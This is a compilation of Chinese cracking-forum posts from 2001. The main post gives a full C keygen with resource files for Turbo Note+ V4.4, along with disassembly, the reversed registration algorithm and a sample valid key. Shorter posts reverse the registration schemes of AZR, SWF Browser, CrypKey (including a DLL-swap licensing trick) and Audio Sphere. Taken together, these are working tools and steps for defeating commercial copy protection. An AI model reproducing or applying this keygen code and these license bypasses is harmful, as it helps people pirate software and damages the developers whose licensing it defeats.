:0040762F　mov 　eax, 00000001
:00407634　pop 　edi
:00407635　pop 　esi
:00407636　pop 　ebp
:00407637　add 　esp, 0000001C
:0040763A　ret 　0008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044B633(C)
|
:0044B655　mov 　ecx, dword ptr [esp+1C]
:0044B659　mov 　byte ptr [esp+ecx+000002AC], 00
:0044B661　lea 　ecx, dword ptr [esp+00000090]
:0044B668　call　00407640　　　　　　　　　　<==在EAX中返回4075E4处存储的值
:0044B66D　mov 　edx, dword ptr [esp+28]　　 <==取406FAE处存储的校验关键字
:0044B671　and 　edx, 000000FF
:0044B677　cmp 　eax, edx

标 题:基于BASE64解密算法的Turbo Note+ V4.4窗口界面注册机(15千字)
发信人:囚童
时 间:2001-11-7 9:28:16
详细信息:

Turbo Note+ V4.4窗口界面注册机

作者:　囚童[FCG][BCG]
课题:　Turbo Note+ V4.4窗口界面注册机
出品： South Pacific InformationServices Ltd
平台： win95/98, winNT/2000
下载:　http://turbopress.com/tnplus44.exe
尺寸： 769KB
工具:　LCC-WIN32

关键字：　软件破解 注册机

TurboNote+的注册码限定在0-9、A-Z、a-z、“＋”和“/”的有效值范围内，由以下部
分组成：

第一部分，4位，随机码。
第二部分，4位，由注册时申请连接的计算机台数经两遍运算得出。
第三部分，4位，随机码。
第四部分，4－36位，由用户给出的全注册名经两遍运算得出。
第五部分，4位，由用户给出的注册名的累加和经一遍运算得出，允许末两位为
“＝＝”。

注意：累加和只是以指定的算法求出的有限长度的前N位注册名的累加和。

运算模式一，用于第二部分和第四部分的第一遍运算：
四位ASC码一组：
A(i)B(i)C(i)D(i) xor 0xff3f7fde

运算模式二，用于第二部分和第四部分的第二遍运算以及第五部分的运算：
三位ASC码一组，作为例外，第二部分注册时申请连接的计算机台数以及第五部分的累
加和是事先转换为长整数再参与运算的：
(A(i)<<8|B(i))<<8|C(i)
得到的结果再以四位为一组：
O(i)P(i)Q(i)R(i)/0x40取余得R'(i)
O(i)(P(i)Q(i)R(i)/0x40/0x40取余得Q'(i)
O(i)(P(i)Q(i)R(i)/0x40/0x40/0x40取余得P'(i)
O(i)(P(i)Q(i)R(i)/0x40/0x40取商得O'(i)
重组为O'(i)P'(i)Q'(i)R'(i).

以上混合使用了算术表达和逻辑表达，只是为了较清楚地说明运算过程。这里：
>>6 等效于 /0x40
<<8 等效于 *0x100

然后，用运算结果去查表，以对应的下脚标为新值。

运算模式三，用于求出计算累加和的有限长度的位数N
N = 用户给出的全注册名长度减1后的能被3整除的最大数。

运算模式四，用于求出计算前N位注册名的累加和：
累加和 = 用户给出的全注册名前N位的累加和

下面介绍用LCC-WIN32(一个小巧的C集成编译环境）为TurboNote+写的一个窗口界面的
注册机。

LCC-Win32是运行于Windows9x/Me/NT/2000下的免费的32位C语言编译系统。它的原始发
布文件只有 3M，但却拥有一个功能强大的集成开发环境(IDE)、速度极快的编译器与连
接器、方便顺手的调试器、资源编辑器和版本控制系统。另外还提供图像编辑器和C 语
言源文件格式化缩进器等附加工具。你可以用LCC-Win32开发32位的控制台程序、
Windows常规程序、动态连接库(DLL)以及静态连接库(LIB)。LCC编译器支持标准的ANSI
C，同时支持 C语言的扩展。

注册码生成的C语言实现：

在下面的注册机源代码中已有清楚的注释，只对几处要点加以说明：

1、随机数：LCC的库中没有RANDMON()函数，可用下面方法实现：

srand(time(NULL));
for(i=0;i<4;i++)Buff0[i]=Buff1[rand()%j];

其中　rand()%j　能确保所引用的数据脚标不大于串的实际长度。

2、数值转换：
申请连接的计算机台数输入值是ASC码，必需转换成为长整数才能参与运算：

q=atol(Buff2);

3、下脚标：
我在C语言中没能发现有返回下脚标的函数，只好查表求出字符所在位置的指针，然后
减去字符串首指针，实现返回下脚标：

Buff0[j] = (int)memchr(Key1,q%64,192)-(int)Key1;

由于实现了窗口界面，有条件使用户界面更加友好，采取了以下措施：

1、OK按钮初始化为灰色，只有用户名长度大于3，申请连接的计算机台数不为0时，才
加亮。进行过一次运算后，编辑框必需清空，才能再次启用OK按钮。

DEFPUSHBUTTON　"OK", IDOK, 20, 87, 40, 14, WS_DISABLED

if (Len1 > 3 && Len2 > 0 && w==0)EnableWindow(IDOKCode,1);

2、Key输出框设定为只读；控制状态改变时，加亮状态不可改变；并初始化为禁止访问。

EDITTEXT　　IDKey, 60, 58, 144, 12, ES_NOHIDESEL | ES_READONLY | WS_DISABLED

3、限制输入串长和限制输入字符不采用提示，而是用程序实现限制。
注意：有效字符区域除了可显示字符外，还应包括必要的编辑键，其中：

08　　　　　　←　　　　　　　退格
03　　　　　　Ctrl + C　　　　复制
0x16　　　　　Ctrl + V　　　　粘贴
0x18　　　　　Ctrl + X　　　　剪切

注意不要被屏蔽掉。
其它编辑键象Home、End、Page Up、Page Down、Ins、Del、Tab及方向键受系统支持，
不可能被屏蔽，可以不考虑。

4、使初始状态控制光标停留在用户名输入框中：
这个功能不是用命令语句实现的，而是使用了一个小小的技巧。在处理初始化消息
WM_INITDIALOG时，只要返回1，控制光标就一定会停留在资源脚本文件中第一个出现
的控制中。而大多数集成编译环境在自动生成资源脚本文件时，都会让OK键放在第一
个控制的位置上。这就是为什么刚刚编出来的程序，控制总是停留在OK键上的原因。
所以，除了返回1外，还应该用文本编辑器打开资源脚本文件tbnotekeygen.rc，将你
想要初始状态控制光标停留在那上面的编辑框放在紧靠BEGIN的第一行：

BEGIN
    EDITTEXT　　IDYour_name, 60, 18, 130, 12, ES_AUTOHSCROLL | WS_GROUP

5、加亮输出的注册码：

我始终没有搞清在非MFC环境中哪些C语言函数可以实现文本加亮，只好使用下面的笨办
法：先用GetNextDlgTabItem(hwndDlg,0,0)获得第一个控制（不知为什么，这个函数的
名字和它的实际功能不符），增加一个偏移量，让它指向第二个控制，再用SetFocus(）
函数把焦点设定在第二个控制上，紧接着用keybd_event(）函数模拟一个Tab键，第三
个控制就处于加亮状态了。

SetFocus((HWND)((long)GetNextDlgTabItem(hwndDlg,0,0)+4));//焦点定位
keybd_event(9,0,0,0);　　　　　　　　　　//模拟按下TAB键
keybd_event(9,0,2,0);　　　　　　　　　　//模拟松开TAB键

由于已经设定了Key注册码输出框控制状态改变时，加亮状态不可改变（ES_NOHIDESEL），
所以此时即使用Tab键改变控制，输出的注册码总是加亮的。
有人会问，把焦点再定位在清空键上，不是更加友好吗？那是因为Lcc自动把回车键捆绑在
OK键上，这不失是一个友好的安排，我就保留了它。

6、将结果放入剪切板中：
剪切板使用的是系统内存，而不是分配给线程的内存，所以不能简单地直接使用
SetClipboardData(）函数，而是要先申请系统内存，锁定后复制，复制后解锁；另外，
打开、清空和关闭剪切板也是必不可少的：

OpenClipboard(hwndDlg);
EmptyClipboard();
hGlobal = GlobalAlloc(GMEM_ZEROINIT, lstrlen(Buff0)+1);
if (hGlobal == NULL) return;
strcpy(GlobalLock(hGlobal), Buff0);
GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal);
CloseClipboard();

注册机源代码如下：

/////////////////////////Begin of tbnotekeygenres.c////////////////////////

/*@@ Wedit generated application. Written Mon Dec 31 19:31:37 2001
/*<---------------------------------------------------------------------->*/
#include <windows.h>
#include <windowsx.h>
#include <commctrl.h>
#include <string.h>
#include <time.h>
#include "tbnotekeygenres.h"
/*<---------------------------------------------------------------------->*/

static BOOL　CALLBACK DialogFunc(HWND, UINT, WPARAM, LPARAM);
WNDPROC　　　LimitCharYour_nameProc = 0;

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpCmdLine,
int nCmdShow)
{
        WNDCLASS wc;

        memset(&wc,0,sizeof(wc));
        wc.lpfnWndProc = DefDlgProc;
        wc.cbWndExtra = DLGWINDOWEXTRA;
        wc.hInstance = hinst;
        wc.hCursor = LoadCursor(NULL, IDC_ARROW);
        wc.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1);
        wc.lpszClassName = "Cubprisoner";
        RegisterClass(&wc);

        return DialogBox(hinst, MAKEINTRESOURCE(IDD_MAINDIALOG), NULL,
        (DLGPROC) DialogFunc);

}

int __stdcall LimitCharProc(HWND hwndDlg, UINT message, WPARAM wparam,
LPARAM lparam)　//限制输入字符
{
TCHAR　chCharCode;
  if(message == WM_CHAR)
  {
        chCharCode = (TCHAR) wparam;

          if(chCharCode == 0x03 || chCharCode == 0x08 || chCharCode == 0x16
          || chCharCode == 0x18 || chCharCode == 0x2b || chCharCode >= 0x2f
          && chCharCode <= 0x39 || chCharCode >= 0x41 && chCharCode <= 0x5a
          || chCharCode >= 0x61 && chCharCode <= 0x7a)　　　　//有效字符区域
            {

                    return(CallWindowProc(LimitCharYour_nameProc,
                    hwndDlg, message, wparam, lparam));
          }
                    else return(0);
}

else return(CallWindowProc(LimitCharYour_nameProc, hwndDlg, message,
wparam, lparam));
}

/*<---------------------------------------------------------------------->*/

void RegProc(HWND hwndDlg, WPARAM wParam)　　　　　　　　　　　　//注册过程
{
const unsigned char Key0[4] = {0xde,0x7f,0x3f,0xff};　　　　　//0xff3f7fde
HGLOBAL　hGlobal;　　　　　　　　　　　　　　　　　// Global memory handle
TCHAR　Buff0[60];
TCHAR　Buff1[45];
TCHAR　Buff2[32];
register int Slen,i=0,j,k,m=0;
long q,sum=0;
      Slen = GetDlgItemTextA(hwndDlg,IDYour_name,Buff0,32)-1;
      for(i=0;i<(Slen-Slen%3);i++)sum+=Buff0[i];　　　　　　//计算名字累加和
      Slen++;
      k=Slen%3;
           if(k!=0)　　　　　　　　　　　　　　　　//补0使串长能被3整除
      {
            k=3-k;
            m=k;
            while(k)
            {
                  Buff0[Slen+k] = 0;
                  k--;
            }
      }
      Slen+=m;
      for (i=0;i<Slen;i++)Buff1[i]= Buff0[i]^Key0[i%4];//对名字做第一遍处理
      Buff1[Slen] = 0;
      Buff1[Slen+1] = 0;
      CharOperation(Buff1);　　　　　　　　　　　　　　//对名字做第二遍处理
      j=strlen(Buff1);
      srand(time(NULL));
      for(i=0;i<4;i++)Buff0[i]=Buff1[rand()%j];　　　　　//生成第一节随机串
      Buff0[4] = 0;
      GetDlgItemTextA(hwndDlg,IDComputers,Buff2,5);//取计算机台数
      q=atol(Buff2);　　　　　　　 　　　　　　　　//对计算机台数做第一遍处理
      if(q>0xff)q=0xff;　　　　　　　　　　　　　　//计算机台数设限
      q^=0xff3f;
      strcat(Buff0,(TCHAR *)CharOperation(&q));//对计算机台数做第二遍处理，
                                               //生成首段注册码
      j=strlen(Buff0);
      srand(time(NULL));
      for(i=0;i<4;i++)Buff0[i+j]=Buff0[rand()%(i+j)];　　//生成第三节随机串
      Buff0[j+i] = 0;
      strcat(Buff0,Buff1);//生成前段注册码
      strcat(Buff0,(TCHAR *)CharOperation(&sum));　　　　//生成全部注册码
      SetDlgItemTextA(hwndDlg, IDKey, Buff0);
      OpenClipboard(hwndDlg);　　　　　　　　　　　　　　//将结果放入剪切板中
      EmptyClipboard();
      hGlobal = GlobalAlloc(GMEM_ZEROINIT, lstrlen(Buff0)+1);
      if (hGlobal == NULL) return;
      strcpy(GlobalLock(hGlobal), Buff0);
      GlobalUnlock(hGlobal);
      SetClipboardData(CF_TEXT, hGlobal);
      CloseClipboard();
      return ;
}

TCHAR *CharOperation(TCHAR *Buff)
{
const unsigned char Key1[192]=
{0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
  0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
  0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3E,0xFF,
  0xFF,0xFF,0x3F,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0xFF,0xFF,
  0xFF,0xFF,0xFF,0xFF,0xFF,0,1,2,3,4,5,6,7,8,9,0x0A,0x0B,0x0C,0x0D,0x0E,
  0x0F,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0xFF,0xFF,0xFF,0xFF,
  0xFF,0xFF,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,0x23,0x24,0x25,0x26,
  0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0xFF,0xFF,
  0xFF};
TCHAR　Buff0[45];
register int Slen,i=0,j;
register long q;
        Slen=strlen((char *)Buff);
        for (i=0,j=0;i<Slen;i+=3,j+=4)　　　　　　　　　　　　　//第二遍处理
        {
            q = ((Buff[i]&0xff)<<8|(Buff[i+1]&0xff))<<8|Buff[i+2]&0xff;
            for (j+=3;j%4!=0;j--)
                {
                    Buff0[j] = (int)memchr(Key1,q%64,192)-(int)Key1;//用余查
                                                            //表,取其下脚标
                    q^=q%64;
                    q/=64;
                }
            Buff0[j] = (int)memchr(Key1,q,192)-(int)Key1;　　　　//用商查表,
                                                                //取其下脚标
        }
        Buff0[j] = 0;
        strcpy(Buff, Buff0);
        return Buff;
}

static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam,
LPARAM lParam)　　　　　　　　　　　　　　　　　　　　　　　　　　　//主程序
{

static　HWND　IDOKCode;
static　HWND　IDKeyCode;
static　HWND　InClipboardCode;
static　int　　w=0;
TCHAR　　　　　Buff0[32];
register int　Len1,Len2; 　　　　　　　　　　　　　　　　　　　//串长

switch (msg) {

    case WM_INITDIALOG:　　　　　　　　　　　　　　　　　//初始化
    IDOKCode = GetDlgItem(hwndDlg,IDOK);　　　　　　　　//取按钮句柄
    IDKeyCode = GetDlgItem(hwndDlg,IDKey);　　　　　　　//取对话框句柄
    InClipboardCode = GetDlgItem(hwndDlg,InClipboard);　//取提示句柄
    SendMessage(GetDlgItem(hwndDlg, IDYour_name), EM_LIMITTEXT,
    32, 0L);　　　　　　　　　　　　　　　　　　　　　　//限制输入串长
    SendMessage(GetDlgItem(hwndDlg, IDComputers), EM_LIMITTEXT, 5, 0L);
        LimitCharYour_nameProc = (WNDPROC) SetWindowLong(GetDlgItem
        (hwndDlg, IDYour_name), GWL_WNDPROC, (long) LimitCharProc);//限制输
                                                                   //入字符
        return 1;

    case WM_COMMAND:　　　　　　　　　　　　　　　　　　　　　　//响应输入
        Len1 = GetDlgItemText(hwndDlg,IDYour_name,Buff0,32);　　//有有效输入
                                                                //时使能OK键
        Len2 = GetDlgItemText(hwndDlg,IDComputers,Buff0,5);
        if (Len1 > 3 && Len2 > 0 && w==0)EnableWindow(IDOKCode,1);
        else EnableWindow(IDOKCode,0);
        switch (LOWORD(wParam)) {
            case IDOK:
                    RegProc(hwndDlg, wParam);　　　　　　　　　　//注册过程
                    EnableWindow(IDKeyCode,1);
                    EnableWindow(InClipboardCode,1);
                    w=1;
                    SetFocus((HWND)((long)GetNextDlgTabItem(hwndDlg,0,0)+4));
                                                              //焦点定位
                    keybd_event(9,0,0,0);　　　　　　　　　　//模拟按下TAB键
                    keybd_event(9,0,2,0);　　　　　　　　　　//模拟松开TAB键
                    //OpenClipboard(hwndDlg);//EnableWindow(IDOKCode,0);
                    //SetClipboardData(CF_TEXT,0);//Code);
                    return 0;
            case IDErease:　　　　　　　　　　　　　//清除输入，重新禁止OK键
                    SetFocus(GetNextDlgTabItem(hwndDlg,0,0));　　//焦点归位
                    SetDlgItemTextA(hwndDlg,IDYour_name,0);
                    SetDlgItemTextA(hwndDlg,IDComputers,0);
                    SetDlgItemTextA(hwndDlg,IDKey,0);
                    EnableWindow(InClipboardCode,0);
                    EnableWindow(IDKeyCode,0);
                    EnableWindow(IDOKCode,0);
                    w=0;
                    return 1;
            case IDCANCEL:　　　　　　　　　　　　　　　　　　　　　　//退出
                    EndDialog(hwndDlg,0);
                    return 1;
            }
            break;

    case WM_CLOSE:
            EndDialog(hwndDlg,0);
            return TRUE;

    }
    return FALSE;
}

/////////////////////End of tbnotekeygenres.c//////////////////////////////

/////////////////////Begin of tbnotekeygen.rc//////////////////////////////

#ifdef __LCC__
#include <windows.h>
#endif
#include "tbnotekeygenres.h"

IDD_MAINDIALOG DIALOG 121, 40, 210, 107
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Key Generator for Turbo Note + V4.4 Program by Cubprisoner"
FONT 12, "Fixedsys"
BEGIN
        EDITTEXT　　　　IDYour_name, 60, 18, 130, 12, ES_AUTOHSCROLL | WS_GROUP
        EDITTEXT　　　　IDComputers, 60, 38, 24, 12, ES_AUTOHSCROLL | ES_NUMBER
        EDITTEXT　　　　IDKey, 60, 58, 144, 12, ES_NOHIDESEL | ES_READONLY | WS_DISABLED
        DEFPUSHBUTTON　 "OK", IDOK, 20, 87, 40, 14, WS_DISABLED
        PUSHBUTTON　　　"Erease", IDErease, 82, 87, 40, 14
        PUSHBUTTON　　　"Cancel", IDCANCEL, 140, 87, 40, 14
        RTEXT　　　　　 "Your name:", Your_name, 9, 20, 41, 12
        RTEXT　　　　　 "Computers:", Computers, 9, 40, 41, 12
        RTEXT　　　　　 "Key:", ID_Key, 34, 59, 16, 12
        LTEXT　　　　　 "The key has been in the System Clipboard.", InClipboard, 39, 74, 165, 8, WS_DISABLED | NOT WS_GROUP
END

/////////////////////End of tbnotekeygen.rc////////////////////////////////

/////////////////////Begin of tbnotekeygen.h///////////////////////////////

#define　IDD_MAINDIALOG　100
#define　IDErease　　　　101
#define　IDYour_name　　 102
#define　IDComputers　　 103
#define　Your_name　　　 104
#define　Computers　　　 105
#define　IDKey　　　　　 106
#define　ID_Key　　　　　107
#define　InClipboard　　 108

/////////////////////End of tbnotekeygen.h/////////////////////////////////

标 题:Sorry,一直没有发觉，没贴完，续： (3千字)
发信人:囚童
时 间:2001-11-9 14:42:26
详细信息:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044B633(C)
|
:0044B655　mov 　ecx, dword ptr [esp+1C]
:0044B659　mov 　byte ptr [esp+ecx+000002AC], 00
:0044B661　lea 　ecx, dword ptr [esp+00000090]
:0044B668　call　00407640　　　　　　　　　　<==在EAX中返回4075E4处存储的值
:0044B66D　mov 　edx, dword ptr [esp+28]　　 <==取406FAE处存储的校验关键字
:0044B671　and 　edx, 000000FF
:0044B677　cmp 　eax, edx　　　　　　　　　　<==关键校验
:0044B679　jne 　0044B6C9　　　　　　　　　　<==失败则跳
:0044B67B　mov 　eax, dword ptr [esp+0000031C]
:0044B682　mov 　dword ptr [004771C4], 002E8B00
:0044B68C　test　eax, eax
:0044B68E　je　　0044B69F
:0044B690　lea 　ecx, dword ptr [esp+000001DC]
:0044B697　push　ecx
:0044B698　push　eax

* Reference To: KERNEL32.lstrcpyA, Ord:0000h
|
:0044B699　Call　dword ptr [0046712C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044B68E(C)
|
:0044B69F　mov 　eax, dword ptr [esp+00000320]
:0044B6A6　test　eax, eax
:0044B6A8　je　　0044B6B9
:0044B6AA　lea 　edx, dword ptr [esp+00000241]
:0044B6B1　push　edx
:0044B6B2　push　eax

* Reference To: KERNEL32.lstrcpyA, Ord:0000h
|
:0044B6B3 FF152C714600 Call dword ptr [0046712C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044B6A8(C)
|
:0044B6B9　pop　edi
:0044B6BA　pop　esi
:0044B6BB　pop　ebp
:0044B6BC　mov　eax, 00000001
:0044B6C1　pop　ebx
:0044B6C2　add　esp, 00000304
:0044B6C8　ret

第二遍运算结果的第4、5位包含了注册时申请连接的运算机台数，程序会将其由长整
数转换为ASC码，如果校验成功，这个码会显示在ABOUT窗口中。

注册成功后程序会将注册结果另行加密后存入注册表的HKEY_LOCAL_MACHINE\Software\
SPIS Ltd\TurboNote\Registration键中，并在REGISTER TURBONOTE+选项卡和ABOUT弹
出窗口中显示一个握手的图标、注册用户名和允许连接的计算机台数。

上面的校验过程程序会在程序加载、注册和ABOUT中多次重复进行。

好，现在总结一下：

TurboNote+的注册码限定在0-9、A-Z、a-z、“＋”和“/”的有效值范围内，由以下部
分组成：

第一部分，4位，随机码。
第二部分，4位，经两遍运算可得出注册时申请连接的计算机台数。
第三部分，4位，随机码。
第四部分，4－36位，经两遍运算可得出用户给出的全注册名。
第五部分，4位，经一遍运算可得出由用户给出的注册名的累加和，允许末两位为
“＝＝”。

注意：累加和只是以指定的算法求出的有限长度的前N位注册名的累加和。

运算模式一，用于第二部分和第四部分的第一遍运算以及第五部分的运算：
查表：
A(i)　　B(i)　　C(i)　　D(i)
↓　　　↓　　　↓　　　↓
A'(i)　 B'(i)　 C'(i)　 D'(i)

四位ASC码一组：
((A'(i)<<6|B'(i))<<6|C'(i))<<6|D'(i)
得到的结果再以3位为一组：
P(i)Q(i)R(i)/0x100取余得R'(i)
(P(i)Q(i)R(i)/0x100)/0x100取余得Q'(i)
(P(i)Q(i)R(i)/0x100)/0x100取商得P'(i)
重组为P'(i)Q'(i)R'(i).

运算模式二，用于第二部分和第四部分的第二遍运算：
四位ASC码一组：
A(i)B(i)C(i)D(i) xor 0xff3f7fde

以上混合使用了算术表达和逻辑表达，只是为了较清楚地说明运算过程。这里：
<<6 等效于 *0x40
>>8 等效于 /0x100

运算模式三，用于求出计算累加和的有限长度的位数N
N = 第四部分求出的用户给出的全注册名长度减1后的能被3整除的最大数。

运算模式四，用于求出计算前N位注册名的累加和：
累加和 = 用户给出的全注册名前N位的累加和

校验：
经运算模式四计算出的累加和的末字节 = 对第五部分经运算模式二所得结果的末字节

由于N的算法的局限性，在REGISTER TURBONOTE+选项卡和ABOUT弹出窗口中显示的用户
名无法保证是全名，又由于TURBONOTE+不支持注册名中使用空格，所以显示出的用户名
有时会使你显得很尴尬。

用以上方法逆运算求出注册码：

用户名：　　　　　　　　Cubprisoner/FCG/
申请连接的计算机台数：　11
注册码：　　　　　　　　006jNP8AN66AnQpdj6wWTJCwGk3QmDx40N5/iwUA
显示出的用户名:　　　　 Cubprisoner/FCG

我用LCC-WIN32(一个小巧的C集成编译环境）写了一个窗口界面的注册机，在用户界面
友好方面做了一些改进，将另文发表。


AZR

 标 题:AZR注册流程分析及疑问(BlowFish算法） (699字)
发信人:夜月
时 间:2001-11-3 16:28:39
详细信息:
AZR注册流程分析及疑问：
1.注册号形式为：ZR-765432-987654-123456
2.由注册号得到字符String1：654329875412345
3.String1每一位和0x43异或，得到字符串String2：uvwpqz{tvwrqpwv
4.BlowFish_En(String1,key=String1)，输出级连设为String3
5.软件内部自定义字串String4：0xC000C5FD0F4F7BE05BF868FCFF9B12
6.可以看出，String3的长度为16个字节，而String4的长度只有15个字节，
该软件只要求String3前面的15个字节和String4完全一致就可，最后1个
字节不参与比较。
现在的问题是：如何找出这个算法的逆算法。
我觉得软件只比较前15个字节，可能会减小穷举的难度，但是我还未编程穷举。
哪位大虾给个思路，如何求出满足要求的序列号。
BTW：就我的跟踪过程来看，序列号和名字无关


SWF Browser

 标 题:SWF Browser的注册算法 (874字)
发信人:夜月
时 间:2001-10-26 13:31:14
详细信息:
SWF Browser
由于这个软件用了BlowFish算法，所以，详细的跟踪过程不好写出来。有兴趣的朋友可以去查看我
写的《BlowFish算法说明》（看雪的教学里头有）。这里只列出它的注册码算法：
1.把name的长度扩长为8个子节的倍数，并且name的长度要大于3。
扩长的方法是在名字后头添加8-(strlen(name)%8)
2.用BlowFish算法对name进行加密。key="1232hfbsdjdh2834121"
3.把输出级联，做一个字符变换得到string1
4.把string1按照扩长名字同样的方法扩长到8个子节的倍数
5.用BlowFish算法对string1进行加密。key="ewrwk214134g7df2"
6.把输出级联，通过和3同样的字符变换得到string2
7.把string2经过另一个变换，得到注册码。
这个软件算法已经算是比较复杂的了，不过可笑的是最后竟然出现明码对比。
所以如果你只想要它的注册码，是很easy的事情，可是，如果要编出注册机（非crackcode型的），
没有一点密码学的功底，还是很不容易的。有兴趣的朋友可以试试看。


CrypKey v5.3.218解密分析

 标 题:曾经看见过CrypKey SDK v5.2的注册机 Duelist/CORE (4千字)
发信人:FiNALSErAPH
时 间:2001-11-15 21:13:22
详细信息:
我从来没有找到过，(但肯定有，因为我从下载的注册机中得到的NFO文件中确定了)。我现在用的是一个DEMO版，使用原来旧版本的注册机+旧版本的Cryp9516x.DLL以欺骗方式解密的。你如果想下载最新版的DEMO请到http://www.crypkey.com/。前段时间我曾在此寻求有关CrypKey破解的帮助(注意：是算法破解而非脱壳-脱壳太Easy了)，可惜没人理我，亏我还是看着这个论坛火起来的，哎...

再附欺骗手法：

安装CrypKey最新DEMO-版本5.3.218至C:\CKI，备份一个至D:\CKI，拷贝旧版本的Cryp9516c.DLL至D:\CKI并重命名为Cryp9516e.DLL，使用Duelist/CORE的注册机对D:\CKI的CrypKey Instant及Site Key Generator进行注册。再将License导回C:\CKI，这样你就拥有一个可使用的CrypKey了。详细的使用方法可参看Duelist/CORE的注册机中的NFO文件。我在Win98下确实试验成功了！！！

再次寻求帮助!!!

请问有那位高手对CrypKey的加密算法有研究，请不吝赐教。我只解决了校验初期及末期的简单异或运算，对于核心部分的运算(经过对被加密程序及DEMO版中的Site Key Generator进行分析)还毫无心得，反正其中使用了浮点运算指令。如果有哪位高手有兴趣一起研究，请E-Mail联系。我的E-Mail地址：hzhprivate@yahoo.com.cn。为了大家研究方便我简要给出一些在分析SKW.EXE时的关键数据：

//CrypKey v5.3.218解密分析
//
//以下程序片段来自CrypKey Site Key Generator v5.4
//
//脱壳后进行反编译。(注意：脱壳后的程序不可运行，我想是对入口表做了特殊处理)
/************************************************
/* 程序开始 - 主程序部分
/* 这段程序将输入的SITE CODE转化为SITE KEY
/* 为了统一观察结果，我采用下面这个SITE CODE：
/* D268 96B6 2C22 B0AD AF
/* 采用生成1个无限制协议
/************************************************
/* D268 96B6 2C22 B0AD AF -
/* | ->这一步运算已经实现(004166F2 call 00416EED)
/* 04CF 0C7E 8401 2B4E 49 -
/*
/* F936 0004 1728 9259 - (这组数字纯粹与SITE CODE有关)
/* | ->(00416701 - 0073F384)
/* 7901 5465 0000 0000 0000 9E5A - (这组数字是SITE CODE与Liscence的信息综合)
/* ** ->这就是生成Liscence的Copy Number(0 - 127)
/* ** ->决定了Liscence的属性(可叠加性等)
/* **** ->相当于前两项属性的校验
/* (004176ED - 0073F4D8)
/*
/* 下面两组字符串实际上是在同一段程序中产生的
/* 93AE CE84 0000 0000 0000 94A5
/*
/* 2193 AECE 8400 0000 0000 0094 A5 -
/* | ->这一步的运算已经实现
/* F711 68A4 9C06 C66A 1806 C6FE 29 -
/************************************************
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00417400(C)
|
:00417410 8D95F0FEFFFF lea edx, dword ptr [ebp+FFFFFEF0] //EDX -> 变换的结果
:00417416 52 push edx
:00417417 68300EFE40 push 40FE0E30
:0041741C 6A00 push 00000000
:0041741E 6800B49040 push 4090B400
:00417423 6A00 push 00000000
:00417425 56 push esi //ESI -> 已经去除了空格的SITE CODE

* Possible Reference to String Resource ID=00001: "English"
|
:00417426 6A01 push 00000001 //重要参数，决定了下面调用的内部路由
:00417428 E8A3F2FFFF call 004166D0 //对已经去除了空格的SITE CODE进行变换
//(关键调用，着重分析对象)
:0041742D 83C41C add esp, 0000001C
:00417430 8D4DF8 lea ecx, dword ptr [ebp-08] //ECX -> 变换的结果
:00417433 51 push ecx
:00417434 8D85F0FEFFFF lea eax, dword ptr [ebp+FFFFFEF0] //EAX -> 上一步得到的字符串
:0041743A 50 push eax
:0041743B E812F7FFFF call 00416B52 //将输入的字符串转为相应的数字串
:00417440 83C408 add esp, 00000008
:00417443 8BF0 mov esi, eax
:00417445 56 push esi
:00417446 8D45F8 lea eax, dword ptr [ebp-08] //EAX -> 上一步得到的数字串
:00417449 50 push eax
:0041744A E803FAFFFF call 00416E52 //对输入的数字串作CRC校验，结果返回AX
:0041744F 83C408 add esp, 00000008
:00417452 6685C0 test ax, ax //校验结果
:00417455 7410 je 00417467 //通过校验
:00417457 8B5530 mov edx, dword ptr [ebp+30]
:0041745A C60200 mov byte ptr [edx], 00
:0041745D B8FEFFFFFF mov eax, FFFFFFFE //置错误代码
:00417462 E999020000 jmp 00417700 //结束
///////////////////////////////////////////////////////////


Audio Sphere v2.57

 标 题:翻译一篇文章，希望大家喜欢。呵呵…… (4千字)
发信人:夜月
时 间:2001-11-7 18:01:06
详细信息:
程序名称：Audio Sphere v2.57
作者： LaptoniC
目标下载地址: http://www.svet-soft.com
软件类型: Sound application
工具: SoftICE,IDA

前言:
越来越多的程序在他们的注册码验证流程中使用了密码学算法。不过，虽然他们大部分使用的是著名的强度很高的算法，或者是HASH函数，但是，它们在实现这些算法的时候存在着很多的漏洞和弱点。在这篇文章中，我将告诉你，如何在几分钟之内破解一个强度极高的注册码验证算法。

正文：
我们的目标是AudioSphere.就我所知，这个公司所有的程序都使用同一个算法加密。这个软件的老版本已
经做出了注册机。这个公司的职员们监视着各个破解站点，在了他们一个版本的软件的注册机发布之后，
他们就会升级他们的程序。并且他们的有些软件内部还有CRC校验。例如：George's Notes。由于这些软
件都是用Dephi写的，所以，要跟踪分析程序的代码有一些难度。所以，你需要使用Dede和IDA来帮助你
更好地分析程序。好了，让我们来尝试着注册它。

在注册对话框中，随便输入一些数字。跟踪程序的流程。你会看到把名字和注册码都进行了一些运算，把
结果存放到注册表中。所以，我们最好关闭程序，在它启动的时候对注册表操作下断点，那样，我们可以更快地到达算法的核心。

程序从SOFTWARE\Svetlana Software\AudioSphere中读取rName和rKey两个键值，所以，我们的断点设置
如下：

bpx RegQueryValueExA IF *(ESP->8) == 'rKey' DO "D ESP->14;"

